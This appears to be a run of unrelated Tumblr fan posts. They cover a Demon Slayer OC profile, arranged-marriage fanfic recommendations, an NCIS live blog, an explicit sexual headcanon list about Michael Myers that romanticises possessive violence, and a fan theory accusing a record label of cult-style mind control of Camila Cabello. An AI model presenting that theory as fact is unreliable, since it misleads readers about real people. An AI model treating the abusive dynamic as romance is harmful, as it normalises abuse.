#i put t his in the blog intro but the rule is if the post is already spoilerly outside of patricia=noel stuff i call him child noel
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noel-levine-fan · 5 months ago
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waiting for the day
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inhalesinkbreathing · 6 months ago
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First post and its my oc intro wow lmfao!!
Also tw: very long intro for her soorrryy!!
Blog rp rules too!! I'm open for any interactions >_<
Sorry for shit quality-
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Full name is Keiko Kyotoru! First name Keiko (Ke-ko) last Kyotoru (Kyo-to-ro)/Himejima. I cant decide sob. Keiko is Himejima Gyomei adopted child!!
Keiko would be Non-binary (androgynous; a Nonbinary whose both genders) and goes by She/He. plus I won't expose her gender since I wanna see who guesses if she is a female or male lolol. Plus I think I accidentally put more scars on her other art woops I'll change that-
Her role; Demon Slayer, Rank; Hinoe.
Backstory
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(And he kept her in his estate and trained her; means he kept her from when he first became a hashira and when she first joined and slowly became a Hinoe rank. (14) She did the final selection at 11)
Keiko's family (Father: Gakayo, Mother: Ayaka, Brother: Kaika) lived in the village Gyomei live in, so her brother can peacefully (not so because heyyy demons) and be happy!!
Keiko's father almost sold him for ermmm,,, let's say he almost made her into Kanao past situation- because of how desperate he needed money for his sick son and wife!!
Keiko does go to the orphanage that Gyomei live in often as there were probably some kids her age to have fun with + when she's not getting thrown by her father, she helps with gyomei! That's why when they went to Jail, Gyomei decided to officially adopt Keiko.
Here have Kyojuro explain it 4 u for how she's half demon lol
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Also just so u know Keiko is a free-happy going kind of personality, even being hit with a traumatic event you'll see her smiling. (Nah she forces it, she can't be like Tanjiro tbh) she's almost seen as annoying with how happy she is,,,
Ink breathing
Ink breathing came from Water breathing mixed with stone breathing.
Forms; 6/7. (TW: idk how to make these detailed as possible lol)
Galaxy void vortex (Offense) - 銀河のボイドボルテックス
Galaxy void Vortex; it creates a black splatter from her katana as its either spun— with dual blades attached— or ink like water tsunami (mini) swallows up the demon visions whole as the slayer slowly walks up to the demon and slice off its neck with ease as the demon still stay there with confusion until the last bit of their body, then realisation.
Black World veil(Defense) - 黒い世界のベール
Black World veil; where it creates a ink veil around the demon surrounding as a fake slayer— isn't real, will run around the demon as in means of distraction. Not for long depending on the demon noticing the slayer running away or had slayed all the fake ink ones (5 fakes)
Dark World striker (Offense) - ダークワールドストライカー
Dark World Striker; It's a multiple attack at once, where it sends slashes multiple time as the slayer who wields dual weapons can do this forms. Where they grab by the chain that hooks up both katanas as they use it to the full potential of swinging it around the demons surroundings, either cutting them up or injuring them until much later where it'd fully slice them.
Ink walls (Defense) - インクワラ
Ink walls; where the slayer uses the attached katana and spin it around their body with fast speed, making the weapon the shield as they can run while using this form to protect themselves or someone.
Dual shots splatter (Offense) - 2発の弾が飛び散る
Dual shots splatter; Where the slayer uses a long chain and their katana, attached to the katana as the slayer throw the katana into the demon, then swinging it back to them before repeatedly doing this like a gun shooting its bullets but its able to retract it back.
Ink droplets fusion (Offense) - インク滴の融合
Ink droplets fusion; Where the slayer uses small metal pieces or droplets of water/blood. The slayer uses it and at the same time uses the fast speed of swinging and creating a spark before hitting it with full force as they hit it against the demons body parts, to stun then running or fighting back.
Dripping of the dark universe (Offense/Defense - Hidden form) - 暗黒宇宙の滴り
Dripping of the dark universe; where the slayer stops breathing to make their body numb and slow their heart beat. Making it impossible for the demon to know where the slayer is by how fast their quiet run is, not able to tell by breathing or heartbeat too as they can multiply slice ur neck no matter how many times it can grow/attach. It is a dangerous form, it can either make the slayer die if use this form alot, death by not breathing or accidentally stopping ur heart too low.
How Hashiras/Keiko view eachother + Relationships with Canon characters
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Kyojuro/Tengen relationship as family because Keiko sees them as older brothers, plus they both are best friends so it'd make sense. Genya and Keiko is siblings but genya isn't officially adopted. She still would call Genya brother! Too bad sanemi lol
Oh and this is also S1 Keiko.
Taisho secrets about Keiko!
Keiko had to be taught by Gyomei + Tengen about Japanese before she could understand it! Especially for missions.
Keiko knows about Chinese, English, ASL and Japanese.
He has really, REALLY bad memories, close to Tokito's but not that bad.
A Kakushi (the perverted one) gave Keiko a opened uniform (almost like Sanemi) and really short skirt because he thought Keiko was a female and got reported by Gyomei.
Nobody still knows what actual gender is Keiko. Not even Gyomei.
Keiko once actually wore a haori but it got too annoying for her and made it into his belt and tied one on his shoulders. The scarf she wears on her neck were actually bought by Genya/Gyomei as a birthday gift since she never had one before.
Keiko's past time is carving wood! Especially when Gyomei's training area is filled with nature. The mask she wore was actually made by her.
Her vision is so bad that her glasses doesn't even help her anymore but she still wears it as it is still clearer than without glasses.
Keiko is usually with Gyomei as such that she doesn't like socialising with others instead of the Corps, she doesn't like being judged and stared at.
Keiko has Insomnia + Hypersomnia.
Keiko HATES the dark! So sadly she'll sleep beside Gyomei as a sense of comfort.
Others!
Actually since her Breathing is ink, she usually has actual ink on standby for some reason. She sometimes uses it to either, in battle‐ use it as distraction— or not in battle, to annoy Tengen with it.
How tall is Keiko? She'd beside Tokito's height but slightly taller since with her shoes, she'd reach over Gyomei waist by abit. And without she'd exactly be at his waist.
Keiko is also a healer, since she was young she had to bandage her own wounds and slowly got into healing. That's why if u go to Gyomei's estate for a visit after his mission, you'll see her bandaging his father up.
Sanemi/Iguro has beef with Keiko because of Genya/Misturi lmfao, but sometimes Keiko does try to push Iguro to marrying Misturi faster,, and try to mend Sanemi and Genya relationship.
Keikos theme song(s):
And Immature by Veebunni (can't find it)
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cqlfic · 3 years ago
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Hello! First, thank you for your hard work!!! I absolutely love this blog. Now for the ask, can I have fic where wangxian are in a arranged marriage and Lan Zhan likes Wei Ying but Wei Ying has a hard time reciprocating/accepting this and vice versa? Thank you ❣️
oooho excellent timing 👀 i just spent the evening so far re-reading all the arranged marriage bookmarks i have, so this is relatively fresh on my mind! i'm not sure if i have any that are particularly "wwx or lwj has a hard time reciprocating", but there are so many that are like "mutual pining" which might be under "hard time accepting this"?
*ACTUALLY I JUST REMEMBERED @sarah-yyy‘S TUMBLR SERIES rebuttable presumption (masterpost) AND NOW I’M LOSING MY MIND!!! here’s her “10 point summary to the verse” as an intro - this is one of the first tumblr series i read and followed upon getting into cql/mdzs, and so it holds such a dear spot in my heart i can’t believe i nearly missed it (plus there’s an AU also, listed in the recs below)
here we go!!!
A Myriad of Blossoms by Itszero (E, 56910 words): yllz marries lwj after nightless city, very cruel wwx until he’s not
a light hidden and singing by occultings (@microcomets) (E, 48528 words): arranged marriage pre-sunshot, misunderstandings and miscommunication
seldom all they seem by Fahye (@fahye) (E, 24930 words): arranged marriage from youth, canon happens up to burial mounds; series: Marriage Principles
of all the hands by typefortydeductions (E, 51432 words): emperor lxc arranges a marriage between lwj and yllz!wwx post-sunshot
Restraint and Realization by Winglesss (@i-put-the-bi-in-suibian) (E, 12461 words): A/B/O AU, omega!wwx plans on breaking every single rule in the cloud recesses to get out of an arranged marriage with alpha!lwj
concessions to love by besanii (@besanii) (T, 29248 words): wwx runs away from an arranged marriage and meets a mystery lan [my post here]
the river and the sea by sasamelons (@sasamelons) (T, 7839 words): lwj looks for his soulmate but is determined to hate his betrothed (arranged marriage) [my post here]
Mourning Robes by Starlight1395 (T, 17085 words): arranged marriage, wwx is miserable (depression, dissociation)
permissive presumption by sarahyyy (@sarah-yyy) (G, 7756 words): no war AU of “rebuttable presumption”
a stone to break your soul, a song to save it by rikke (M, 180247 words): arranged marriage AU, beast core [my post here]
forever is home (with you) by moonsteps (T, 23232 words): arranged marriage AU, lwj/wwx fall in love [my post here]
can u believe this isn’t even technically all the arranged marriage bookmarks i have (encompasses a good amount but--)
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meat-husband · 6 years ago
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Michael Myers - Alphabet Ask Meme
I’m hoping to start doing requests on this blog, so I thought I would start up with the alphabet ask memes as a sort of intro! I figure all the letters get asked eventually, so I’m just doing all of them in one go. There will be one of these posted for each character I’m writing.
I have a page with what and who I write for here.
Both the NSFW and fluff alphabet asks are under the cut!
NSFW Alphabet
A = Aftercare (What they’re like after sex)
If you're lucky, he'll fall asleep and allow you to stay next to him. In this case, you can get away with pressing into his side or hugging his arm, but don't expect the cuddles to be returned. Otherwise, he's probably halfway out the door and planning his next murder before you know what's happened.
B = Body part (Their favorite body part of theirs and also their partner’s)
There’s nothing in particular that stands out about himself in his opinion. But if he had to pick something, his hands are probably the most useful - people aren’t going to stab themselves, you know.
Michael likes your eyes, so easy to see your fear and panic and lust. He’s always liked being able to read someone so easily when they can’t do the same to him.
C = Cum (Anything to do with cum basically… I’m a disgusting person)
He likes leaving you messy. He’ll dig his fingers into you afterwards and smear his cum into your skin, then have you lick his fingers clean.
D = Dirty Secret (Pretty self explanatory, a dirty secret of theirs)
There’s a lot you don’t know about him. Not even because he doesn’t want you to or hides it, but simply because he either won’t or can’t communicate it. He doesn’t much care if you happen to see him do something, you knowing doesn’t matter. The only secrets he has are the ones you haven’t stumbled across yet.
E = Experience (How experienced are they? Do they know what they’re doing?)
He’s peeked through enough windows to get the gist of it, but it’s not too much help during the real thing. Mostly he’ll rely on instinct and what he’s seen others do, but he’ll sometimes listen when you try and show him.
F = Favorite Position (This goes without saying. Will probably include a visual)
He prefers to have you trapped against something, limiting your movement without binding you. It keeps you controlled with less effort and unable to get away from him, not that you could anyways.
G = Goofy (Are they more serious in the moment, or are they humorous, etc)
He’s not completely blank faced under the mask, but you aren’t likely to see it. Even then he’s still very much on the ‘serious’ side of things. He doesn’t care if you’re amused or laughing or feeling soft, but it’s not something he would show if he did feel it it doesn’t count if he smiles cause you can’t see it.
H = Hair (How well groomed are they, does the carpet match the drapes, etc.)
He’ll sometimes shower when he comes around and if you’re lucky it’ll be before any sexytimes. He’s not usually filthy, but human blood is sort of gross no matter the amount. You’re still trying to convince him to let you wash his clothes but so far it’s a losing battle.
I = Intimacy (How are they during the moment, romantic aspect…)
There’s zero romance in this man, probably in the negative actually. You’re not gonna get any secret signs of affection or special gifts. The fact that he doesn’t murder you is about as intimate as he gets, and even then it’s a slippery slope.
J = Jack Off (Masturbation headcanon)
It’s pretty rare for Michael to take care of himself, he has enough patience to wait out anything, even himself. If you don’t come to him first, then he’ll get around to tracking you down eventually.
K = Kink (One or more of their kinks)
He’s up for almost anything, probably has the least hard no’s out of everyone. He doesn’t keep a favorite for long, there’s so much to try and he’s got to make up for all that time being locked up.
L = Location (Favorite places to do the do)
It’s honestly wherever he happens to be when the mood strikes, or really wherever you happen to be. Inside, outside, public or not isn’t going to stop or inconvenience him. If you don’t want the whole town finding out you’re banging the boogeyman then it’s on you to keep quiet and not draw attention.
M = Motivation (What turns them on, gets them going)
You’re not really sure yourself. It’s hard to imagine what he’s thinking most of the time and so you can’t say what it is that sets him off when he does approach you.
N = NO (Something they wouldn’t do, turn offs)
Absolutely would not agree to being bound in a way he couldn’t escape from. If you wanna tie him up that’s fine, he’ll just snap the bindings when he feels like it, but anything he can’t get out of when he wants isn’t going to happen.
O = Oral (Preference in giving or receiving, skill, etc)
Not a big fan of giving. He will, but only when the mood strikes him and that’s not terribly often. Maybe it’s just his preference or maybe he doesn’t like removing the mask for it, but no amount of begging will change his mind.
P = Pace (Are they fats and rough? Slow and sensual? etc.)
It depends if he’s trying to annoy you or not. His preference is always rough, usually fast, but if that’s what you’re craving he’ll slow it down just to get you frustrated. If he’s not doing something to pester you then he’s not having a good time.
Q = Quickie (Their opinions on quickies rather than proper sex, how often, etc.)
Quickies work better with his routine, which for a guy that has no job other than murder is pretty booked apparently, but you’ll need the breaks between full blown sessions anyways.
R = Risk (Are they game to experiment, do they take risks, etc.)
You’re gonna lose track of how many times you’ve been suddenly pulled into the bushes or someone’s backyard. It doesn’t matter who’s around to hear either - he’s always quiet, if you can’t shut up then that’s your fault.
S = Stamina (How many rounds can they go for, how long do they last…)
He’s pretty average, maybe 2 rounds in a row. But he’s the undisputed king of edging, so that one round is going to last half the day.
T = Toy (Do they own toys? Do they use them? On a partner or themselves?)
I think he would definitely use things if you offered them, but do you really want to give him that kind of power? Introducing him to new things is dangerous on its own, let alone things that may or may not go inside you.
U = Unfair (how much they like to tease)
He can drag shit out for daaayys. All he’s gotta do is let you get yourself worked up, sit passively until you’re shaking in his lap, contributing nothing more than light touches - then just get up and leave. When he does come back, you’re impatient and needy and stupid enough to get back into his lap and let the whole thing happen again, until he’s decided the game is over.
V = Volume (How loud they are, what sounds they make)
Quiet enough to unsettle you, make you wonder if he’s even feeling anything. Heavy breathing is about all you’ll get, but it makes you wonder if he would be any more expressive without the mask (he’s barely holding in those moans under there but you don’t know that).
W = Wild Card (Get a random headcanon for the character of your choice)
The mask is actually super uncomfortable and hot and humid but goddammit he’s got a reputation to uphold.  
X = X-Ray (Let’s see what’s going on in those pants, picture or words)
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Y = Yearning (How high is their sex drive?)
It’s hard to say. Most of the time, you will have to be the one to start something, and he tends to go along with it. If Michael is the one taking action, it’s going to seem sudden and out of nowhere from your perspective - meanwhile he’s spent two days hiding around corners, watching you.
Z = ZZZ (… how quickly they fall asleep afterwards)
Not very easily, or often. It’s practically unheard of for Michael to fall asleep without a few hours of tossing and turning. Being put to sleep for 20 some years via tranquilizer has sorta fucked up his body’s ability to do that naturally. There’s not much to do for it other than wait it out - you might be inclined to try soothing him to sleep, but that’s just gonna piss him off and make him leave to wander around the house, or the streets. Best course of action is to pass out yourself, and there’s a 50/50 chance he may have done the same by the time you wake up.
Fluff Alphabet
A = Attractive (What do they find attractive about the other?)
You’re interesting, for the moment. He’s missed out on a lot of experiences in his life and you being the one to introduce him to all these new things keeps you interesting. Your affection for him is something strange to him and he enjoys testing its boundaries.
B = Baby (Do they want a family? Why/Why not?)
There are many reasons this is not a good idea. Even if we’re not including the brother/sister dynamic from the sequels, he still has a history of killing family. If you happen to get pregnant accidentally, it’s 50/50 if he’d let either of you live, and at best he’s just gonna disappear.
C = Cuddle (How do they cuddle?)
Cuddling is a single player game with him. He might tolerate you climbing all over him but he’s not going to reciprocate. You carefully ignore those rare mornings when he’s managed to fall asleep next to you and you wake up with him snoring into your hair, legs tangled with yours.
D = Dates (What are dates with them like?)
Sometimes he will sit next to you while you watch a movie. Better chances the bloodier the movie is. If you’re really, really lucky, he’ll eat in the same room with you.
E = Everything (You are my ____ (e.g. my life, my world…)
You are his. He might not be around all the time, but this is still an ‘ownership’ before it’s a ‘relationship’. There aren’t many rules to it, he’s content to let you do what you want for the most part, but he’s ruthless about enforcing the few he does have. 
F = Feelings (When did they know they were in love?)
Love might be too strong a word. He likes you enough to not want to kill you, however that happened. He also doesn’t want anyone else to harm you, so he likes you enough to protect you as well. He certainly doesn’t want anyone else touching you. He knew all of this pretty quickly, otherwise you’d have ended up dead once you attracted his attention.
G = Gentle (Are they gentle? If so, how?)
Sometimes he’s not rough, but that’s not the same as gentle. He’s not used to casual touch so he’s a little more uncertain about movements that aren’t made with the intent to kill. He is overly cautious rather than gentle, unsure about how it’s supposed to feel.
H = Hands (How do they like to hold hands?)
Michael will let you hold his and depending on what you’re doing (talking, watching tv, reading) he may tighten his grip in response but he’s not holding your hand. That’s totally not what's happening here.
I = Impression (What was their first impression?)
There was an unlocked door and Michael was interested, that’s what always draws him towards a person or place. He liked the fight you put up, the fear and panic, but really it was more his amusement that saved you - you’re the clumsiest person he’s ever chased. 
J = Jealousy (Do they get jealous?)
You’ve found some of your favorite books shredded on the floor and have a sneaking suspicion he may resent the time you spent pouring over that new release. Besides the obvious knife holes, he’s careful to leave the remains scattered all over where you can’t miss them.
K = Kiss (How do they kiss? Who initiated the first kiss?)
You’ll be smooching the mask for a long time before you get the real thing. It’s not as terrible as you thought, but he makes no effort to return the kiss from under the mask. Real kisses are few and far between, and handed out only when he feels like it. Even when he gets comfortable enough to not wear it to bed, the face is still off limits.
L = Love (Who says ‘I love you’ first?)
You’ve tried to get it out of him, but so far nothing has worked (“If you love me don’t say anything.” “...” “Got you!”). He’ll huff when you say it, so you’re always sure to lay it on real thick and sappy, just to get on his nerves.
M = Memory (What’s their favorite memory together?)
When Michael has a favorite memory he likes to relive them. Unfortunately for you, he’s rather fond of your first meeting with him and it had been a frantic jumble, running through your house while a manic with a knife followed. You know what he’s up to when he comes towards you with a determined step and a raised knife, but it’s still terrifying (and that’s why he likes it tbh).
N = Nickel (Do they spoil? Do they buy the person they love everything?)
He brings things home, but not ever anything useful. Usually it’s sharp objects, you’ve got quite the collection of random knives now. He does at least leave them in the sink, so you wake up early to remove old blood and scrub your kitchen down before breakfast. He doesn’t reuse them either, so you either keep a handful of incriminating murder weapons or try to discreetly dispose of incriminating murder weapons.
O = Orange (What color reminds them of their other half?)
Blacks and blues and yellows, the colors of new and old bruises he’s left to mark you. It’s not just because he enjoys seeing his handprints burned into you (but that too), but reminders that he’s coming back and you’ve got promises to keep.
P = Pet names (What pet names do they use?)
He really, really hates them. It’s an easy way to get under his skin if he’s getting a little too smug about something. He’ll tolerate being called Mikey, but anything else is only going to make him grumpy. Generic ones like honey and sweetheart are bad, but if you rhyme his name to make one he will straight up leave.
Q = Quaint (What is their favorite non-modern thing?)
Well, I guess knives aren’t exactly modern and they’re probably what he’s best known for. He’s interested in new things, but doesn’t keep that interest once he’s had a look, so there isn’t much that he keeps around.
R = Rainy Day (What do they like to do on a rainy day?)
If he’s got someone he wants to kill, then rain isn't stopping him. Most likely he’s simply peeking in windows though, with everyone inside it’s easier to find an occupied house and less likely that someone will notice him.
S = Sad (How do they cheer themselves/others up?)
You can never tell when he’s upset until he snaps. It will usually happen when you’re gone and you’ll come home to a wrecked house, broken furniture and torn clothes, ominous red stains in the bathroom. He’ll stay away for days, sometimes longer, and there’s no way of telling what set him off.
Michael’s not great at comforting others, that should be pretty obvious. He’ll avoid you until the crying or moping is over but if it’s something he can’t get around all he can really do is be nearby. Having a breakdown while a serial killer looms in the corner of your bathroom is odd enough to shake you out of it actually, so it’s helpful in a weird way.
T = Talking (What do they like to talk about?)
He’ll listen to you and you can usually tell by his body language what he thinks of something, but it’s really a guessing game. You’re never sure if you’re right and sometimes you must read him wrong, but it’s never frustrating unless he’s trying to be.
U = Unencumbered (What helps them relax?)
Sleep is the best way to put him in a good mood, but unfortunately it doesn’t happen very easily for him. If you’re asleep next to him he may happen to scoot closer and throw an arm over you, but that doesn’t count as snuggling because he doesn’t snuggle, you know. It’s second best to actually being asleep himself.
V = Vaunt (What do they like to show off? What are they proud of?)
Michael can be so quiet that you’ve gone days without realizing he’s in the house with you. Sneaking up on you is a common occurrence and it’s always when you’re holding something breakable. He doesn’t jump out at you, but turning around to find him 2 feet away is a little concerning when you’re not expecting it. Sometimes you’ll be trying to sleep and only know he’s there when you hear someone else breathing.
W = Wedding (When, how?)
He’ll take jokes about it just fine, but bringing it up in a serious way would just push him away. You’re not going to get any sort of acknowledgement of affection out of him, let alone a big party dedicated to it.
X = Xylophone (What’s their song?)
You haven’t noticed that he seems to prefer anything in particular, but it’s safe to say that a wide variety of spooky Halloween songs have made it into all of your playlists. You can’t tell, but you really hope it annoys him.
Y = Yes (Do they ever think of getting married/proposing?)
He doesn’t think of it at all. He’s living in your house and not killing you, that’s as committed as he gets. Not to say he doesn’t consider this a serious relationship in his own way, cause there’s not many ways out of it that end well for you.
Z = Zebra (If they wanted a pet, what would they get?)
Please don’t.
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television-overload · 6 years ago
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This is it, everyone...
WiFi is turned off to avoid spoilers, Tiva playlist is playing, popcorn is made, and I'm sitting with my laptop in my nest/lofted bed. T-minus 5 minutes until this episode.
So without further ado... Here is my live blog of NCIS Season 16 episode 13: "She." I don't feel like bombarding the NCIS tag with separate posts, so it's all gonna be chunked into one.
7:58 pm: IM SO NERVOUS I CAN'T HANDLE THIS I HAVE SO MANY THOUGHTS, FEELINGS, AND CONCERNS
My internet connection had better be flawless, you hear that dorm wifi?
Minor technical difficulties, but here we go! I'm stress eating my popcorn 🍿
Ooh, Gibbs voiceover. Who is diving? Bishop?
Yes! Roll the intro!
I have waited three weeks for this.
Kasie is so thoughtful! I love her. And Jimmy is such a great friend. I love their friendship.
"Woodwork the crap out of it" bahahaha
Gibbs + children = the cutest thing ever
Ellie is so good with her.
Aww poor Lily! That is horrifying!
Looks like they put every terrible thing that can happen to a kid into one case. So sad.
Gibbs knows that was Ziva's case! The way he remembers it was ten years ago, then abruptly leaves the room to "get some air..." Is he finally showing some emotion over Ziva's (alleged) death?
So, is her mother alive? How did Lily get out?
"EVERYONE" else involved *wink*
Wonder what Kasie had in mind for Torres' jar
FIRST MENTION OF ZIVA!
I have literally no idea where this will go next...
Finally Bishop is saying what we've been saying for years. But I now have a bad feeling but they're going to hint that Ziva is still dead...
Awww, she wishes she could have learned from Ziva. Maybe that is a good sign. Hmm.
Ooh, Ellick fight
Ninja...
WHEN ZIVA MAKES A PROMISE SHE NEVER BREAKS THAT PROMISE! ITS LOOKING UP AGAIN, BOIS
Looks like their suspect is actually Tony 2.0. And if Morgan turns out to be alive maybe it will be the same for Ziva
ZIVA HAS A SECRET OFFICE!
Lily is gone? Oh, nevermind.
Oooh, Sloane is opening up!!!
THIS ALL SEEMS LIKE A TIVA PARALLEL
Oh, something is hidden in the doll!
Lily is a good little actress
Boom, Vance showing who's boss
My popcorn is gone. Now I can type with two hands.
Go get 'em, Gibbs
Torres over there lying to Gibbs for Ellie ❤️
This lady knows Ziva!
Please let there be some clue about Ziva in this shed... Or if nothing else a picture of Tony and all the things she loves.
I am LOVING all the Ziva music. I missed this.
AHHHHHH ZIVA SIBLINGS PICTURE! WE ALL KNOW SHE USES PICTURES TO COMMUNICATE
WHAT DO THE DIARIES SAY?
AM I GOING TO BE USING CAPS LOCK FOR THE REST OF THIS EPISODE?!?
Go away commercials, I need Bishop to tell Gibbs about Ziva!
Well, I haven't cried yet this episode. I was really expecting to. I guess we'll see.
Also, NO FLASHBACKS YET! THERE NEEDS TO BE A FLASHBACK!
Can McGee read Hebrew? Oh, nevermind.
Here come the tears! Is this entry about Tony??? MY HEART CANT LIVE WITHOUT HIM ONJGKROJCBFU HELP ME! 💔
ITS ABOUT SOMALIIIAIAJAJAAAAHHHHHHH
OH SWEET MERCY, MY HEART IS SOARING
TONY IS ON HIS WAY BACK TO PARIS
NOW ITS GETTING REAL GOOD
KEEP READING, MCGEE
ZIVA HELD IN ALL THOSE EMOTIONS ALL THOSE YEARS SHE IS THE STRONGEST FEMALE CHARACTER EVER
SHE WAS TORTURED EMOTIONALLY FOR SO LONG
THEY BEST GIVE ALL THOSE JOURNALS TO TONY
Torres would have liked Ziva :(
Gibbs I awfully calm...
Oof, Bishop is in the hot seat.
Does Gibbs know something? Do I dare hope?
My heart is literally pounding... I can't take this.
Jimmy was Ziva's confidante, awwweee. Tell us your secrets, Jimmy.
Showing Bishop that Ziva made mistakes too... Good.
I have a bad feeling about what we'll get in regards to Ziva's life/death at the end of this episode... I hope I'm wrong.
Also, Gibbs, you just gonna casually name drop the episode title of the episode that broke my heart?
THATS RIGHT VANCE, YOU KNOW GIBBS IS BASICALLY ZIVA'S FATHER
ExcaUUUUUSE ME, Gibbs, how dare you? Do you want the fandom to resent you more that's they already did for your reaction during Family First? You take that back right now.
I hope Lily's dad is actually a good dad! I like him.
TONY AND TALI PARALLELS
Kasie is dealing with the dirty working conditions much better this time.
McGee is kinda out of it. Good. Feelings.
What will Torres use his empty jar for?
...I think they might keep going with the Ziva is dead bit, and I am not happy. I want Ziva to honor that promise, but I guess it's sweet that Bishop wants to do it for her.
It's about time someone challenges Gibbs' rules. Good luck, Bishop.
AHHHHHH GIBBS IS FINALLY LETTING IT OUT!!!
HE BLAMES HIMSELF! HE STILL BELIEVES SHE'S DEAD
DIDN'T ANYONE TELL YOU WRITERS ABOUT HAPPY ENDINGS????????
Bishop ain't giving up
I love Gibbs and Kasie
Woah, does the lab have a second entrance? How did Bishop disappear?
Is Bishop gonna get shot?
There's that Gibbs voiceover again. What is he talking about? OH IS HE READING ZIVA'S JOURNAL???
That is a deep pond.
Torres go get yo girl!
Can we get a Tiva family reunion like that, PLEASE
Let it in, Gibbs.
Some quality Gibbs and Ellie time. I like it.
Has Bishop officially been adopted by Gibbs?
Whatcha got there, Gibbs?
Oh lol. Its rule 10. Time to scrap that rule. Dump rule 12 while you're at it.
OH MY GOOOOOOOOSSSSSSHHHH NO WAY. NO. WAY. HANG ON.
HOLY MOLY HOLY MOLY
ZIVVVVVAAAAAAAAAAA
MY HEART IS POUNDING
AAAAAAAHHHHHHHH
IS THAT ZIVAS SCARF???????!!!!
I. I can't even type right now... They really did it. I can't breathe. I'm so in shock I can't even cry! This is all I hoped for and more! I'm going to lose my freaking marbles. I feel sick. And faint. I need to lay down. Oh. My. Goodness.
That's it folks. We have our answer. And they'd better freaking come back to this plot later, cause I'm going crazy.
I have so much to say, but I don't want to type anymore. I just want to sit here and think, and cry, and scream. And watch this ending about a billion more times.
So I guess, signing off. Happy Ziva day, everyone. Thank you and God bless you, writers.
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sun-to-my-luna · 6 years ago
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#XVIII
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― the time has come.
The focus of today is Camila’s self-titled album “Camila.” Depending on the person music has a variety of interpretation, and today we’ll be looking {into it}, and at other things.  Not from the average CS perspective. Not from the general public perspective, but from a totally different perspective.
ps. want to mention beforehand that I know I don’t usually talk about darker shit, but because it makes sense I feel like I should.
Anyways as we all know IHQ was placed in the intro of the “CITC” MV for promotional reasons, and they both  weren’t  put onto her album.  IHQ  was simply released as a single for the sole purpose of drama. It either left everyone wondering who it was really about, or confirmed the narrative that there was a nonexistent grudge.
When someone first listens to “I Have Questions” it sounds like a somber song aimed at a love interest, or possibly the girls of Fifth Harmony. Butー there’s one possibility no one seems to think about.
Maybe the song is towards multiple people, or at least for someone else. “Them” or those that control every aspect of her life except for what’s actually private.
This theoretical analysis will be divided into three parts.
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When this was posted the “LAND vs. C” narrative had already been put into motion. Everyone else (GP) was lead to believe that the song was supposedly about the group when in fact it most likely wasn’t. The girls were out having fun...but Camila was stuck  in a hotel bathroom all day writing songs? It doesn’t make sense, unless she was actually being forced to work on her album...which was later delayed on purpose.
I.
I’ll start with this string of tweets.
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The guy in the tweet above is the SND at Interscope Records, and he is giving a power statement in that tweet  that says, “ They work for you. You do as you’re told,” or “You don’t tell them how to do their job.”
That same day underneath that tweet he received a comment from Chippy who I completely agreed with, but “Marcus” here  seemed to disagree, and answered back sarcastically.
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Then on May 27th he tweeted this. *cough* Are you referring to MJ? *cough*
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I noticed this tweet on a different account run by someone else from the #E*** clan.
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“ーThe Artist is doing mostly all of the work, & the label is just the #plug. The machine.. labels don’t even care if an artist doesn’t sell, they’re making money from streaming & singles & shenanigans (PR, Scandals, and Media..etc.)”
He’s right, but the thing I found the most interesting is he used the term “ machine” (similar to Chely Wright) to describe the big labels.
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II.
***This next section is going to get a bit dark.***
All kinds of stuff has been mentioned on my blog before like “the dark web”, but nothing quite similar to the level of this. I’m going to explain it only briefly.
Commercial cult manipulation:
What is a cult? A cult is a group of people who organize around a strong authority figure in this case a multi-level marketing organization,  aka. “Major Label.”  Cults attempt to expand their influence for the purpose of money. They change someone’s old identity with a new one. The person may not have chosen that identity.
Before a celebrity becomes a“celebrity” in the entertainment industry they’re a normal person with a normal life under the radar.  After they get into a position of  known status they have to maintain  an image (that they don’t choose), and  they need to maintain their brand. 
Because that’s what they become, a brand that makes other  people money.
Edgar Schein described the process of “coercive persuasion” as a 3 stage process.
“an unfreezing of the identity” - breaking the person down
“changing” -  the change that should happen to the person
“refreezing” - Reinforcing the new identity.  
Everyone in Fifth Harmony had been assigned a certain role since the beginning, and if you watch interviews you’ll see that clearly enough. We’ve even mentioned here on tumblr before; how they break an artist down only to  build that artist’s image up again, and that’s a constant change.
a.
Mind Control:
Bare in mind:  mind control in a cult setting is a system that messes with someone’s identity
Mind control is not brainwashing
The people involved unwittingly participate, by cooperating with their controllers, and giving them private information that they don’t  know will be used against them.  Mind control in a commercial cult setting is achieved by placing a person in a social environment where in order to function, they have to replace their old identity, and adhere to the new identity.
Emotional Control:
Fear and guilt are central to any thought reform/mind control program. Cult tactics include:  inducing fears and phobias  in group members to allow the leadership to maintain control. Members can  believe that all sorts of horrible things may happen if they don't follow the  rules.
For example: If you come out, then you’ll lose fans or won’t have a career.
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Alyson Stoner:
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+ Plus many more.
They lose the freedom to choose for themselves, the freedom to do what they want, have the relationships they want or even eat what they like.
“Mind control may be largely understood by analysis of the three components described by Leon Festinger, a psychologist, in what has become known as the "cognitive dissonance theory.”“
These components are control of behavior, control of thoughts, and control of emo­tions.
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Behavior Control:
Behavior control is the regulation of an individual's physical reality. It includes the control of his environment— what clothing he wears, what food he eats, how much sleep he gets—as well as  other actions he performs.
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This need for behavior control is the reason most cults give a very rigid schedule for their members.
We know they’re always over-working her.
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 In addition, new diets and eating schedules also can have a disorienting effect. (Lost a little wight because I wasn’t eating.) After someone has been broken down, they must be built up again as the "new man" (or "new woman," as the case may be.)
In a mind control environment, freedom of choice is the first thing that one loses. The reason for that loss is  simple: the cult member is no longer themselves. Then, without warning, they seem to become their old self, with their old attitudes and mannerisms. Just as suddenly, they flip back to being a stranger.
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Now obviously I’m not saying they’re a part of commercial cult manipulation. What I’m saying is there’s so much more shit that happens in the music industry  that we don’t know if they could be or not.   Cardi B has said it herself on instagram live, “ People have evil intentions around you. The Music Industry is more fucked up than the streets. The streets are way easier.” Anyways with that being:
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III.
Lyrical  Analysis―
Why did you leave me here to burn?
 I’m way too young to be this hurt.
I feel doomed in hotel rooms staring straight up at the wall.
Camila was no longer a part of the Fifth Harmony partnership which means she was rarely getting paid for merch, and for preforming. They were forcibly making her a solo artist while she was still in the group, and they were most likely feeding her ideas  about it since 2015, even though she still wanted to be a part of  the group.  (Notice how Camila/Roger worded the statement. Not once were the girls mentioned, only the brand, aka Fifth Harmony.)
―“I was shocked to read the statement the Fifth Harmony account posted without my knowing. Saying that they were just informed through my representatives that I was “leaving the group” is simply not true.  I did not intend to end things with Fifth Harmony this way.”
She was probably working non-stop on her album all through out the 7/27 tour, and if that was the case it wouldn’t surprise me if she felt stressed, or tired.
